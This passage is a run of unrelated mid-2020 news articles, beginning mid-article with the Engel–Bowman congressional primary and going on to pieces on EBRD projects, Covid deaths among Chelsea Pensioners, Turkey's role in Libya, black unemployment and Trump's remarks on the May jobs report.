The fact of that matter is you were paid for being a teacher or a principal, he said. I dont denigrate that work that you do, but everything else in the community  you were nowhere to be found. When you decide you wanted to run for Congress, suddenly youre there.

Engel weathered his last primary challenge in 2018 easily, beating three contenders by winning 74% of the vote. But Bowman has more momentum and endorsements than any of those challengers did, thanks in part to a strategy of riding the wave of Trump-era progressive energy. Bowmans platform includes support for Medicare for All, the Green New Deal and the dissolution of U.S. Immigration and Customs Enforcement. His presence has been elevated by media attention and a wave of notable endorsements from the Working Families Party, Justice Democrats, the states largest nurses union and, most recently, Rep. Alexandria Ocasio-Cortez.

Despite Westchester Countys perception as a largely white, wealthy suburb, that isnt entirely the case in the 16th District, which covers the countys southernmost towns and cities. Around two-thirds of the districts population is in Westchester and one-third is in the Bronx. Although 35% of residents in the district are white, nearly one-third are black and more than a quarter identify as Hispanic or Latino. It includes the affluent suburban towns of Scarsdale and Rye, but also Yonkers, the fourth-largest city in New York state, and smaller cities with diverse populations such as Mount Vernon. The district also encompasses part of the Bronx, the poorest borough in New York City, though its northern reaches such as Riverdale tend to have higher incomes than the neighborhoods further south. Overall, the 16th District skews heavily Democratic, aside from small pockets of Republican-leaning affluent suburban pockets.

In some ways, the shift in demographics seen in the district is not dissimilar to trends seen in the neighboring 14th Congressional District, now represented by Ocasio-Cortez. Former Rep. Joseph Crowley was also an older white man whose district had become majority-minority over time and due to redistricting. Since Engel came into office, the southern portion of Westchester County has seen its white population decline, growth in the Hispanic population and a growing majority of Democrats. Nonetheless, it remains whiter and less overwhelmingly Democratic than the 14th District, which is in the Bronx and Queens.

Bowman has comfortably aligned with the democratic socialist label, but whether the areas appetite for socialist candidates has grown remains to be seen. Nearly 70% of voters in the district favored Hillary Clinton over Bernie Sanders in the 2016 presidential primary, a larger margin of support compared to the state as a whole. Residents of both the Bronx and Westchester also widely preferred Gov. Andrew Cuomo in 2018 gubernatorial election over progressive challenger Cynthia Nixon by more than the statewide average.

The ideological divide in the race is further emphasized by foreign policy, especially given that Engel serves as chairman of the House Foreign Affairs Committee. The congressmans approach has focused on scrutinizing the Trump administrations decisions, particularly with regard to cutting foreign aid and withdrawing from international institutions. But Bowman and some progressives criticize Engel as hawkish, pointing to his vote for the 2002 Iraq War resolution and his support for controversial pro-Israel policies, such as moving the U.S. embassy to Jerusalem. Bowman also argues that Engels focus on foreign policy detracts from serving his districts needs, which is similar to Ocasio-Cortezs contention in 2018 that Crowley was too focused on being in the House leadership and, like Engel, living mainly in the Washington, D.C., area.

But Engel has mostly made the case to voters that, as a long-serving representative, hes best suited to getting resources for residents. The seniority system works in Washington.  I have the clout, he said during the debate. I bring home the bacon. I bring home the money. Thats not something a freshman can do. Among the achievements he cited were securing $5 billion in funds for New York hospitals through the Coronavirus Aid, Relief, and Economic Security Act signed into law in late March along with $7.8 million for two community health centers in the district. But Congress coronavirus relief bills havent escaped criticism from New York leaders like Gov. Andrew Cuomo, who has been calling for additional state aid to avoid debilitating budget cuts.

Bowman also quibbled with Engels representation in the debate. Congressman Engel said he brings home the bacon, but we have people in this district who are starving. They were starving prior to the pandemic. Theyre starving now. Where is this bacon to feed the community?

The congressman has also contended that his work on the Foreign Affairs Committee isnt a distraction from the districts needs, but a key way to hold the Trump administration accountable, which is of interest to Democratic primary voters. Hes been investigating the presidents recent decision to fire the State Departments inspector general, who was looking into Secretary of State Mike Pompeo, for example. He also played a role in the impeachment hearings at the start of the year, revealing information from former national security adviser John Bolton regarding the decision to oust the U.S. ambassador to Ukraine.

On Thursday, Engel rejected any possible endorsement from The New York Times in response to the papers controversial decision to run an op-ed by U.S. Sen. Tom Cotton calling for the U.S. military to be deployed to cities across the country to quell the anti-racism protests. He called on his competitors to do the same  a clever attempt to head off a possible Times endorsement of Bowman, which could prove decisive among the affluent liberal voters in areas such as Riverdale, New Rochelle and Scarsdale who have historically supported Engel.

But how much either candidate will resonate with voters is difficult to anticipate. Candidates cant hold in-person events and are having to rely heavily on largely untested strategies for remote engagement, such as virtual town halls. Its unclear how voting by mail will affect turnout. And theres also the open question of whether a socialist can win in a largely suburban district. Whether Bowman can pull off an upset mirroring Ocasio-Cortezs will be impossible to know until the ballots are counted.
A digest of recent news from the EBRD

EBRD podcast: will capitalism survive the coronavirus pandemic?

Nobel economics laureate Joseph Stiglitz and EBRD Chief Economist Beata Javorcik discussed how the coronavirus pandemic, already seriously shifting the balance between state and private sectors, will change our economies and politics. Presented by Jonathan Charles, the Pocket Dilemmas podcast special was co-hosted by the Athens Democracy Forum and New York Times.

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Bohunice decommissioning passes major milestone

The programme to decommission the BohuniceV1 nuclear power plant in the Slovak Republic achieved a milestone with the successful removal of the first reactor pressure vessel, allowing remote dismantling of the facility.

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EBRD launches regional start-up initiative

The Bank launched a regional partnership with Startup Wise Guys, a leading start-up accelerator, to let companies active in fintech apply for a bespoke accelerator programme, combining the latest fintech with the Banks goal of fostering the development of competitive and sustainable economies.

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How renewable energy is beating the impact of coronavirus

Despite the disruption of recent months, the worlds major institutions, as well as individual governments and companies, are sticking with the green agenda, as new EBRD deals in Poland (solar and wind), Uzbekistan (wind) and Albania (solar) show.

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EBRD TFP Awards recognise successful partner banks from three continents

The EBRD Trade Facilitation Programme (TFP) announced the winners of its prestigious annual TFP Awards. The 2020 TFP Awards honour successful issuing and confirming banks from the 27 most active countries in delivering EBRD financing across our countries of operations over the past year.

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Project signings:

Supporting Polands Grupa Azotys move into new technology

In Poland, chemical producer Grupa Azoty is taking a huge step in its green development through the introduction of new technology and a new production line with 125 million multi-currency equivalent from the EBRD.

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 and Polish pharma company Pelion

Faced with increased market volatility due to the coronavirus pandemic, Pelion has taken an EBRD loan of PLN 110 million (around 25 million to maintain short-term liquidity.

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Supporting Turkeys technology

The EBRD extended a US$ 100 million loan to Turk Telekom for the modernisation of its fixed broadband infrastructure, using energy-efficient technology and equipment.

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and agriculture

The Bank provided a 60 million loan to Anadolu Etap, the leading fruit producer in the country to help them ensure continuous growth despite the uncertainty of the pandemic.

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Support to Electric Networks of Armenia

In Armenia, the EBRD lent US$25 million to electricity distribution company Electric Networks of Armenia (ENA) to help safeguard the electricity supply following the outbreak of the coronavirus pandemic.

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Helping Ukraines firms do business

The EBRD increased by US$ 90 million an existing trade finance facility provided to Ukrgasbank (UGB).

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Funding key infrastructure project in Croatia An additional loan of 6 million supported the upgrade of wastewater and sludge treatment facilities for the Croatian seaside town of Porec.

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Improving solid waste services in Kyrgyz Republic

More than 300,000 residents of Kyrgyz Republics Osh and neighbouring municipalities will have better solid waste services with 10m joint financing support for improved solid waste infrastructure and management.

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US$4m loan to Caspian Beverage Holding

In Kazakhstan, the Bank providing US$4 million in local currency to Caspian Beverage Holding to expand their operations and become greener.

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Providing local currency loans for SMEs in Belarus

The EBRD provided a local currency loan of 10 million Belarusian roubles for BNB Bank of Belarus. It will improve access to funds for domestic SME and reduce FX-related risk.

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Delivering in times of crisis

Serbian firm equips German doctors in battle against coronavirus

In Serbia, workwear manufacturer Trendtex scaled up and re-focused its production to produce medical uniforms and invested in new equipment to manufacture reusable face shields and poncho-type coats with business advice from EBRD and EU.

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Supporting online learning in Mongolia

In Mongolia, the EBRD prepared the Mandakh University for remote teaching to counter the coronavirus pandemic.

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Social Media

Our country diagnostics quiz challenged our Instagram followers to answer questions about the southern and eastern Mediterranean and find our country diagnostics and #covid19 country assessments in the link in bio.

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We celebrated World Environment Day with a multi-platform online campaign sharing many EBRD green and environmental achievements. Among them, we promoted next weeks EBRD Green Cities webinar, Transition to Recovery, (learn more here) to be held on Tuesday 9 June at 9am.

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Subscribe to instant email updates on EBRD news about topics such as coronavirus and climate finance

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Metro Manila (CNN Philippines, June 5)  President Rodrigo Duterte has cast doubts on the countrys readiness to adopt distance learning a few months before the next school year is expected to begin.

Duterte said in a taped public address aired Friday, The technology is good, but I dont know if were ready for that. Meaning to say, do we have enough of those na gagamitin (devices) for the whole of the Philippines?

However, Duterte said if the government can afford to provide the tools, then the Department of Education could proceed with its plan.

DepEd earlier released the calendar for the next school year, with classes slated to begin this August 24, and expected to end in April 2021.

Education Secretary Leonor Briones previously said the school opening does not necessarily mean traditional classroom education, stressing that online and blended learning are still viable options.

The delivery of lessons could be done through the use of the Learning Resources portal and DepEd Commons, TV, radio and learning modules and packets both in print and digital format, Briones said.

Critics argue that online-based education poses a problem to students who do not have internet access.

For the President, school buildings must remain shut.

We have to wait for the vaccine. Sabi ko sa inyo walang vaccine, walang eskwela (I am telling you: No vaccine, no school).

The Inter-Agency Task Force for the Management of Emerging Infectious Diseases previously recommended moving the opening of classes to September to reduce the risk of COVID-19 transmission.

But the education secretary has said this is not allowed according to the law, which states that school opening must start on the first Monday of June, but no later than the last day of August.

This may not be a problem soon, as the bill seeking to give the President the power to move the school year opening beyond August during a state of emergency is now up for Duterte's signature after it hurdled Congress this week.
Ten Chelsea Pensioners have now lost their lives to coronavirus at the Chelsea Royal Hospital for veterans in west London.

The famous London hospital is home to 300 military veterans who have served their country in some of the most dangerous conflicts in the world.

Of those at the military home, 74 residents who had previously tested positive for Covid-19 or displayed symptoms, have made a full recovery.

Among the Chelsea Pensioners who lost their lives to the virus was 75-year-old Fred Boomer-Hawkins, pictured centre, taking a selfie with other Chelsea pensioners in Durham

The hospital chaplain, Reverend Steven Brooks, told BBC Radio 4: 'My normal job is to take funerals, but we have had 18 in 10 weeks, 10 through Covid and eight through other causes. We have been unable to hold any funerals here in the chapel.

'People have told me this is much worse than anything they encountered during their many years of service, they say it is a hidden enemy.'

Monica Parrot, one of the 74 pensioners to have suffered the virus and recovered, told the programme: 'It was awful, what was horrible as well was the fact I was a bit scared.

'You think "oh, is it going to be me next" and because you've got so much time on your own you start to think a bit negatively about what it is going to be happening to you and feeling a bit sorry for yourself and having a little cry now and again, a big cry now and again.'

A further 74 residents at the Royal Hospital Chelsea have recovered after testing positive for Covid-19 or showing symptoms. There are 300 residents at the home for veterans

The ongoing pandemic also meant that Founders' Day on June 4, the highlight of the Chelsea Pensioners' calendar, was stripped back this year.

The event, celebrating the founding of the Royal Hospital by King Charles II, is usually watched by hundreds lining the streets. The event has taken place almost every year since the Royal Hospital opened in 1692.

The Governor of Chelsea Royal Hospital, General Sir Adrian Bradshaw, added: 'Somehow, despite all our drills, it got in here. I think that is an illustration of just how difficult this disease is to deal with and hospitals, care homes, all around the country, have found that.

'Despite their best efforts, it gets past the defences.'

The Founders' Day parade at Chelsea Royal Hospital has been scaled back this year

A makeshift pub, the Covid Arms, was set up on the grounds after the socially distanced parade, to allow the pensioners a chance to socialise and enjoy themselves.

The residents at the home include 47 veterans who fought in the Second World War, plus soldiers who served in the Korean War, Cyprus and Northern Ireland.

It welcomes Army veterans aged over 65 who have no living dependants and a welfare need such as financial hardship or bereavement. The average age of its residents is 82.

Mr Boomer-Hawkins is pictured above as a young man. Neighbours, servicemen and friends lined the streets of Colchester as his funeral procession went past their homes yesterday morning

Sir Adrian added: Most of our Pensioners have risked their lives serving our nation through war and conflict.

Among the Chelsea Pensioners who lost their lives to the virus was Fred Boomer-Hawkins, 75, who became ill in the last week of March.

Neighbours, servicemen and friends lined the streets of Colchester as his funeral procession went past their homes.

His son Terry Hawkins, 49, said Mr Boomer-Hawkins was extremely proud to wear the red uniform of the Chelsea Pensioners after moving to the hospital in 2017.

His son said: He was a very popular man, loving, generous, honourable and loyal. He was everything you could want from a dad.

Father-of-three Mr Boomer-Hawkins had joined the Army at 17.

In his first posting, he served as a Royal Green Jacket, based in Colchester, Essex, where he met first wife, Jean.

His duties included spells in Malaysia, Germany and Northern Ireland. He was a UN peacekeeper in Cyprus.

Mr Boomer-Hawkins son said that as his breathing worsened and he was moved to hospital, he sent a text reading: Prepare yourself, I fear the worst now.

He added: We were able to go in on that final day and the doctors told us he only had between two and eight hours left. We never thought it would come to that, it was heart-breaking.

The Royal Hospital said an Army medical team has been helping to tackle the coronavirus threat and is able to test all those who show symptoms.
The Niece Revealed That Nawazuddin Called Her Up After She Filed An FIR

The tabloid quoted as saying, "Nawaz bade papa called on Tuesday night and said you're like my daughter, you know how much I love you. Unhone yeh bhi bola ki unko yeh sab pata nahi tha' and that he's there for any help I need. He has never spoken to me in all these years. The entire family had boycotted me after I got married, and they've been filing one case after another and threatening my in-laws in Budhana."

Nawazuddin Siddiqui's Reaction To This Controversy

When Hindustan Times contacted Nawazuddin for his reaction on this controversy, the actor told them, "Thank you for your concern, but on this, no comment."

Meanwhile, Nawazuddin's Niece Claims That The Siddiqui Family Is Threatening Her To Withdraw Her Complaint.

She revealed, "A family relative was told to inform us that we'll be in trouble if we don't take the case back. That's why I'm worried."

Nawazuddin's Niece Recalls The Horror Faced By Her During Childhood

She told Hindustan Times, "My father didn't allow me to study beyond class 8. My uncle used to touch me inappropriately. I was 13 then, when he tried to sexually exploit me. I told my father (Almas Siddiqui), bade papa and everyone about it, but no one supported me."

She said that she got the courage to come out with her ordeal when she recently saw 'badi mummy Aaliya (Siddiqui)' speak up against husband Nawazuddin and his family and file for divorce.

Meanwhile, Aaliya Siddiqui Is Shocked

"That family is filled with people who believe in causing harm to women. I've faced immense torture in their hands. I just hope truth comes out and we get justice," she was quoted as saying by Hindustan Times.
Dockworkers at the Rivers ports today commended President Muhammadu Buhari for his commitment to due process, which has led to reopening the BUA Terminals shut down last year by the Nigerian Ports Authority in a move challenged by BUA at the time, and decried by maritime stakeholders. The workers in their numbers took to the docks of Port Harcourt to thank key stakeholders for their timely intervention in the crisis between the BUA Ports and Terminals and the Nigeria Port Authority (NPA), which rendered business activities at the terminal B void.

Addressing the dockworkers at the rally, Comrade Waite Harry - a National Trustee of the dockworkers branch of the Maritime Workers Union of Nigeria praised the President for his commitment to due process, which ultimately led to the withdrawal of the notice of termination issued to BUA Ports & Terminals, in line with the concession agreement. The Government also directed both parties to resolve all outstanding issues in line with the concession agreement, discontinue the pending arbitration in London, and reopen the BUA terminals immediately.

According to Comrade Waite Harry, this action has saved the jobs of many dockworkers whose only source of livelihood come from working here. The resolution of the crisis has changed our status from being prisoners of hope due to untold hardship dockworkers faced over the inability of ships to berth at the BUA terminals. We must also appreciate the Management of BUA Ports & Terminals who continued to support us monthly throughout this period. We are happy that we can now return back to our work through this gesture by the FG which will also bring economic prosperity to the state and the nation in general.

I hope that all outstanding issues can now be resolved by both parties amicably, he added.

It will be recalled that in 2019, the NPA issued a notice of termination to BUA Ports and Terminals, concessionaires of the Rivers Ports Terminal B in a move that BUA said was illegal and ran contrary to the concession agreement.
COLONIE  North Colonie School District residents may not receive their absentee ballots in time for Tuesday's school board and budget vote, yet another school district will balloting concerns.

Officials are recommending people pick up a ballot and vote in-person at the district office on Sunday, Monday, or Tuesday if they do not receive a ballot by the end of the day on Saturday.

An executive order signed by Gov. Andrew M. Cuomo on May 1 required school elections to take place by mail due to the coronavirus pandemic. The ballots were to be mailed out by June 3 and returned Tuesday, June 9, but an apparent envelope shortage at a widely-used printing vendor in Western New York prevented the ballots from hitting mailboxes in time.

People who do receive ballots by Saturday, but are worried that the mail won't be returned by 5 p.m Tuesday, may also drop off the form into clearly marked ballot boxes at local schools, North Colonie officials said.

Other districts impacted by the backlog include Shenendehowa,Ballston Spa, Bethlehem, and Saratoga Springs schools, although some have found alternative vendors and expedited the ballot mailing.

"While we were originally assured that ballots would be arriving to you between yesterday, Wednesday, and tomorrow, Friday, we are no longer certain that that will be true based on conversations with our post office," Ballston Spa Superintendent Ken Slentz said a statement.

School officials have been asking the governor to postpone the vote. Cuomo's office has suggested that the problems are not widespread and for many, the vendor problems have been resolved.

Cuomo on Friday told a reporter that he would consider over the weekend whether to extend the ballot deadline and would have a decision by Sunday.

"We have been having conversations with the governors office to indeed urge him to fix what needs to be fixed for those districts that need his assistance through another executive order," New York State School Boards Association Counsel Jay Worona said in an email. "We are hoping, however, that he does not provide a fix for all districts in the state that dont need change to occur. We are fearful that such a fix might make it worse for those districts in which everything is going along smoothly."

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Empire Center for Public Policy's E.J. McMahon said the ballot debacle was, in large part, "a mess of the governor's making ... it appears that they didn't really consult with anyone other than themselves."

McMahon noted that school budget talks were already slowed by uncertainty around state aid, with Cuomo suggesting that districts could lose 20 percent of their aid if the federal government did not provide more stimulus funds.

Despite the uncertainty, districts moved to finalize their budgets on a condensed timeline and mail out thousands of ballots at taxpayers' expense.

"He put them in a heck of bind," McMahon said. "It's understandable that they wanted a delay; he did not consult with knowledgeable people in public schooling about how this would be done."
Turkey vows more support to secure gains in Libya conflict Turkish President Erdogan meets with Libya's internationally recognised PM al-Serraj in Ankara

By Tuvan Gumrukcu and Orhan Coskun

ANKARA (Reuters) - President Tayyip Erdogan vowed on Thursday to ramp up Turkey's support for its ally in Libya to lock in recent military gains, and promised joint exploration for oil at sea following talks in Ankara ahead of a potential ceasefire push.

Fayez al Serraj, leader of Libya's internationally recognised Government of National Accord (GNA), met Erdogan for talks hours after his forces - backed by Turkey - said they regained full control of the capital Tripoli.

Turkey threw its support behind the GNA in November after signing a military cooperation pact alongside a maritime demarcation deal, which gives Ankara exploration rights in the eastern Mediterranean that Greece and others reject.

Turkey's intervention in the conflict has pushed back Khalifa Haftar's eastern-based Libyan National Army (LNA) - backed by the United Arab Emirates, Russia and Egypt - which had been attacking the GNA in Tripoli since April 2019.

The GNA's latest advance could hasten steps toward a potential truce, underlining Turkey's growing influence in the resource-rich region where Erdogan has few close allies.

Turkey's support for the GNA "will increasingly continue," Erdogan said alongside Serraj, adding that Hafter and his backers "will be judged by history." A solution can only come under United Nations' auspices, he said.

"We aim to expand our cooperation including exploration and drilling operations to take advantage of natural resources in the eastern Mediterranean," including Libyan territory, Erdogan added.

NEGOTIATIONS

On Monday, the United Nations said both sides had agreed to resume ceasefire talks and warned that weapons and fighters being flown into Libya threatened a new escalation.

Several peacemaking efforts in Libya have collapsed or stalled since clashes began in 2014.

Serraj's visit to Turkey came after weeks of GNA gains that upended the conflict and drove Haftar from his foothold in the northwest. A senior Turkish official said the advances were critical ahead of any truce talks.

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"The territory you hold strengthens your positions at the table," the official said. Erdogan said Haftar had "no representative capacity" to negotiate what should be a "legitimate and fair" solution.

In a flurry of diplomacy, Serraj's deputy was in Moscow and Haftar was in Egypt this week. A second Turkish official said Ankara expected Haftar's backers to contribute to political talks.

An increased presence in Libya would give Turkey strategic positioning near Egypt, with which ties are strained.

It would also serve as another foothold in the Mediterranean, where Turkey has been at odds with several neighbouring states. Greece and Cyprus called last year's maritime deal with Serraj illegal, an accusation Ankara denied.

Turkey's plans for what Erdogan called "new cooperation on maritime agreements" with the GNA could stoke those frictions. The Turkish leader also said Haftar's "putschist" forces will no longer be allowed to illegally sell Libya's oil.

Athens says Ankara's maritime deal infringes on Crete's continental shelf. Turkey - which has also been criticised by Israel and the European Union - says the deal abides by international law and rejects the notion islands can have such shelves.

Turkey has said it could begin exploration and drilling in the eastern Mediterranean under the GNA deal within three or four months.

(Additional reporting by Jonathan Spicer and Daren Butler in Istanbul; Editing by Giles Elgood, Timothy Heritage and Andrew Cawthorne)
A Dana assembly technician wears a face mask as she assembles axles for automakers, as the auto industry begins reopening amid the coronavirus disease (COVID-19) outbreak, at the Dana plant in Toledo, Ohio, May 18, 2020. Rebecca Cook | Reuters

Markets cheered on Friday as new data showed a surprising decline in unemployment, but black workers have little to celebrate. The black unemployment rate rose slightly in May despite a decline of nearly two percentage points for white workers, a grim but familiar reminder of economic inequality that could serve as an early warning sign for the recovery to come. The new data comes as protests over the death of George Floyd, a black man killed in police custody in Minneapolis last week, continue in dozens of cities around the country. While protesters are directly responding to disparities in policing, they have also pointed to systemic problems of income and wealth inequality, which were exacerbated during the recovery from the 2008 financial crisis. White unemployment fell to 12.4% in May from 14.2% the previous month, while black unemployment rose to 16.8% from 16.7%. President Donald Trump, who is up for reelection in November, has touted his record overseeing an economy in which black workers have prospered, noting that under his watch the unemployment rate for that group hit record lows while wages rose. During a White House event on Friday to address the new economic data, Trump said he hoped that Floyd was looking down from heaven, pleased with what he saw.

Hopefully George is looking down right now and saying, This is a great thing thats happening for our country. Its a great day for him, its a great day for everybody. Its a great day for everybody. This is a great, great day, in terms of equality. Donald Trump President of the United States

"It's a great day for him, it's a great day for everybody. It's a great day for everybody. This is a great, great day, in terms of equality," Trump said. The president refused to answer questions from reporters on the rise in the black unemployment rate. While Trump paints a picture of a recovery where gains are equally shared, experts suggest a more dour outcome could be in store. Economists are warning that the devastation wrought by the Covid-19 pandemic, which has already killed disproportionate numbers of black Americans, could also inflict long lasting economic damage, undoing the gains made by African-Americans over the last decade. "The thing that disturbs me is how much longer it will take them to make up the gap," said Jared Bernstein, a senior fellow at the Center on Budget and Policy Priorities, who served on President Barack Obama's economic team. Read more: May sees biggest jobs increase ever of 2.5 million as economy starts to recover from coronavirus "It took 10 years to make back what they'd lost in the Great Recession," Bernstein said, referring to African Americans. "They lost that in two months, in March and April. It's the staircase up and the elevator down." Bernstein warned that, for black workers, the recovery from the current downturn could take even longer than the recovery from the last crisis. Though the most recent slide has been unique in its speed and severity, the trend of employment inequity along demographic lines is not new. The unemployment rate has historically been twice as high for black workers as for white workers, a disparity seen in the data as far back as is available.

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The unemployment rate, while widely cited as a key measure of U.S. economic health, is seen by some as a narrow definition that does not capture the full picture of the labor market. This official rate published by the Bureau of Labor Statistics tracks the "number of unemployed as a percentage of the labor force," which only includes those working or actively seeking work. Americans who have given up on looking for a job or have a part-time job without benefits, such as an Uber driver or Instacart shopper, are not included in the measure. For this reason economists also look at broader measures of unemployment such as the underemployment rate, also known as the U-6 rate, for a more complete picture of the employment level. This measure includes those previously mentioned groups  people who want to work but have stopped searching and those who would work more if they could  in addition to those traditionally defined as unemployed. Looking past the headline measure of unemployment paints an even bleaker picture for black workers. While BLS does not publish monthly demographic data on underemployed workers, Bernstein estimates the underemployment rate for African Americans could now be above 30%.

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Economists point to a variety of factors to explain the racial employment gap, such as exclusive housing policies, unequal access to education, and a lack of wealth passed on from prior generations. But the conventional explanations may not tell the full story. "If you factor in all the things that you can explain using conventional economic tools  education, age, gender, experience  you will explain only a relatively small part of that difference," said Bernstein, who has advised apparent Democratic presidential nominee Joe Biden during the campaign. "So you have to ask yourself what are you left with, and the answer is discrimination." Valerie Wilson, director of the Economic Policy Institute's Program on Race, Ethnicity, and the Economy, pointed to the same explanation. "I can't call it anything other than racial discrimination in the labor market," she said. For Wilson, one of the strongest signals of discrimination is the racial disparity in unemployment rates by education level. At every level of education, more black workers are unemployed than their white counterparts.

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"At least in theory, they're doing everything they were told they should do," said Wilson of black Americans with high levels of education. "Yet they still face significantly higher levels of unemployment and gaps in wages."

A long road to recovery

As the U.S. struggles to make its way past the damage done by the coronavirus pandemic, lawmakers are considering policies that may offer additional relief to disadvantaged workers in the near-term, such as an extension of the unemployment benefits supplied by the CARES Act, and a possible second round of stimulus checks. For programs designed to provide temporary relief or make longer-term contributions to narrowing the employment gap, Wilson notes the importance of making sure policies actually hit their targets. "We really need to be aware and have to assume that no policy is race neutral because of all of these preexisting and underlying disparities generated by previous policy and legal decisions," she said. "In making policy, there should always be an eye toward how it will impact different communities." Many, particularly on the left, say that regardless of specific policies, change will require the recognition of systemic inequalities, a point that has been central in the protests over George Floyd's death. At Floyd's Minneapolis memorial service held on Thursday, the civil rights leader Rev. Al Sharpton made such a point by analogizing widespread systemic injustice against black Americans to the officer's knee held against Floyd's neck during his Memorial Day arrest, which prosecutors have alleged contributed to his death. "Ever since 401 years ago, the reason we could never be who we wanted and dreamed of being is you kept your knee on our neck," Sharpton said, referring to 1619, the year generally understood as the beginning of black slavery in the colonies that would become the United States. He added: "We could run corporations and not hustle in the street, but you had your knee on our neck. We had creative skills, we could do whatever anybody else could do, but we couldn't get your knee off our neck." Nicole Smith, the chief economist at the Georgetown University Center on Education and the Workforce, said that it's frustrating that "most people recognize what it is, but are still reluctant to do anything about it." "And that's because doing anything about it would really require us to engage in a serious conversation about social justice," she said. On that point, Trump and Biden, the former vice president, are a study in contrasts. While Trump has argued that an economic recovery will, on its own, benefit black Americans, Biden has pressed for specifically targeting black communities with economic assistance, and collecting data on the race and sex of beneficiaries of federal recovery programs. During an address in Philadelphia on Tuesday, Biden, who has faced scrutiny over his record on race, said the "moment has come for our nation to deal with systemic racism." "To deal with the growing economic inequality in our nation. And to deal with the denial of the promise of this nation  to so many," Biden said.
Allianz is in talks with Chinese regulators for a license as the German insurer looks to eventually offer broad asset management services in the worlds second-largest economy.

Discussions for a license to manage its own assets in China are at an early stage, Solmaz Altin, its chief executive in Asia, told Reuters, adding he hoped to launch the business in the first half of 2021.

Hong Kongs status as a global financial hub faces some uncertainty with the United States moving to eliminate its special status after Beijing announced it would impose a new national security law there.

It is simply too early to tell what the Hong Kong situation will mean for our existing business or any future business, Altin said.

We very much hope that reason will prevail and that we can continue to do business in Hong Kong in a very positive way internationally, he said.

Altin said Allianz aimed to boost annual revenue growth in Asia by up to 20% through 2025.

We are doubling down on Asia, and we will not stop because of the virus, he said. We are actually opening up new businesses (in Asia).

Its revenue in Asia, where it has a presence in 14 countries, grew 104% in 2019.

The insurer also plans to enter the Vietnam property and casualty market next year, perhaps with a minority equity partner, and is in talks with the regulator, Altin said.

Globally, Allianz oversees assets of more than 2 trillion euros for itself and third parties under the PIMCO and Allianz Global Investors brands.

In China, state-owned China Life manages Allianz assets including life and non-life insurance joint ventures.

Allianz CEO Oliver Baete has said fund management in China may hold more potential than the insurance business.

($1 = 0.8814 euros) (Reporting by Tom Sims in Frankfurt, Sumeet Chatterjee in Hong Kong and Alexander Huebner in Munich; editing by Jason Neely)

Topics Carriers China Allianz Germany
The Vande Bharat initiative has been able to repatriate scores of Indians stranded in various countries across the globe; however, some have raised apprehensions over the cost of the tickets for Vande Bharat flights. In order to clear the misconceptions, Union Civil Aviation Minister Hardeep Singh Puri has drawn a comparison between the rates of Vande Bharat flights and the rates applied by other countries for the same routes.

Taking to Twitter, Puri gave a tabular chart showing a comparison of charges by Vande Bharat flights from Delhi - Houston in USA, Delhi - Vancouver and Toronto in Canada, and Delhi - Israel, with the rates charged by charter flights of other countries.

Some people have raised concern about rates being charged by @airindiain for special Vande Bharat flights.



While rates being charged are not normal commercial rates, they are reasonable when compared to evacuation flights of other countries on same sectors.



Here are the facts. pic.twitter.com/KGuciAKjiD  Hardeep Singh Puri (@HardeepSPuri) June 4, 2020

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Comparison of Vande Bharat rates with rates of other countries

The Civil Aviation Minister clarified that the rates charged by the Air India's Vande Bharat flights are not the normal commercial rates, however they are clearly reasonable when compared to evacuation flights of other countries on the same routes.

In a subsequent tweet, he said, travellers paid Rs 1.62 lakhs to Toronto & Rs 1.84 lakhs to Vancouver for evacuation flights organised from India by the concerned embassies whereas Indian citizens are required to pay Rs 1.07 lakhs for Vande Bharat flights between India and Canada. Similarly, for travelling to Tel Aviv, travellers of other nationalities paid Rs 82,500 for their evacuation flights organised by the concerned Embassy from Delhi, whereas Indian nationals pay Rs 51,938.

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Vande Bharat Mission

Under the Vande Bharat Mission, Air India group started operating flights from May 7 to repatriate stranded Indians across the globe amid the COVID-19 pandemic. Since the beginning of the operation on May 7, Air India has operated a total of 423 inbound international flights under the Vande Bharat initiative, bringing close to 59,000 Indians back to the country.

The first phase of the mission saw the repatriation of Indians from over 11 countries including the UAE, Saudi Arabia, Kuwait, Qatar, Bahrain, Maldives, Singapore, and the US. In the second phase of the mission, the Indian government brought back Indians from around 31 countries from May 16. The second phase was to end on May 22, however, Indian government extended it to June 13, while adding more countries to the list such as Finland, South Korea, Belgium, New Zealand, Netherlands, Kenya, Mauritius, Spain, Myanmar, Egypt, and Sri Lanka. The Indian government is set to begin the third phase of the Vande Bharat Mission, with Air India opening the bookings of seven destinations from June 5 onwards.
President Donald Trump said Friday "we're bringing our jobs back" as he held a news conference to tout May's surprising jobless numbers out about two hours earlier -- the unemployment rate declining to 13.3 percent -- not rising to near 20 percent that even one of his own economists had predicted.

MORE: US unemployment rate fell slightly to 13.3% in May

PHOTO: President Donald Trump speaks during a news conference in the Rose Garden of the White House, June 5, 2020, in Washington. (Evan Vucci/AP)

"We want to get all of this finished," he said, speaking in the White House Rose Garden about the economic shutdown caused by the coronavirus pandemic.

"This leads to a long period of growth," he added. "Now we're opening, and we're opening with a bang."

"We've been talking about a V. This is a rocket ship," he said. "This is far better than a V."

Pres. Trump on surprising jobs numbers: "We're opening with a bang." https://t.co/ZPzreOa9E5 pic.twitter.com/XUhBkh3fAE  ABC News Politics (@ABCPolitics) June 5, 2020

He said smart analysts were proven wrong about their unemployment predictions.

I think it was one of the greatest miscalculations in the history of business shows, business shows talking about Wall Street, he said.

"It will all work out," Trump said, later adding, "the best numbers are yet to come."

Earlier, he tweeted, "Really Big Jobs Report. Great going President Trump (kidding but true)!"

Really Big Jobs Report. Great going President Trump (kidding but true)!  Donald J. Trump (@realDonaldTrump) June 5, 2020

PHOTO: President Donald Trump holds a press conference in the Rose Garden of the White House in Washington, on June 5, 2020. (Mandel Ngan/AFP via Getty Images)

In doing so, Trump broke a federal rule prohibiting the executive branch from commenting on the jobs report within an hour of its release, instead tweeting within minutes of its release, at 8:33 a.m. ET, in order to take credit.

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April's unemployment rate had hit 14.7 percent.

White House economic adviser Kevin Hassett had warned that the unemployment rate could hit near 20 percent in May or June -- a level not seen since the Great Depression

PHOTO: President Donald Trump talks about a U.S. jobs report amid the coronavirus disease (COVID-19) pandemic as he addresses a news conference as Vice President Mike Pence listens in the Rose Garden at the White House in Washington, June 5, 2020. (Kevin Lamarque/Reuters)

In May, 2.5 million jobs were added, according to the Bureau of Labor Statistics, appearing to add momentum to Trump's strategy of reopening the economy -- a key to his reelection hopes -- after much of it was shut down amid the pandemic.

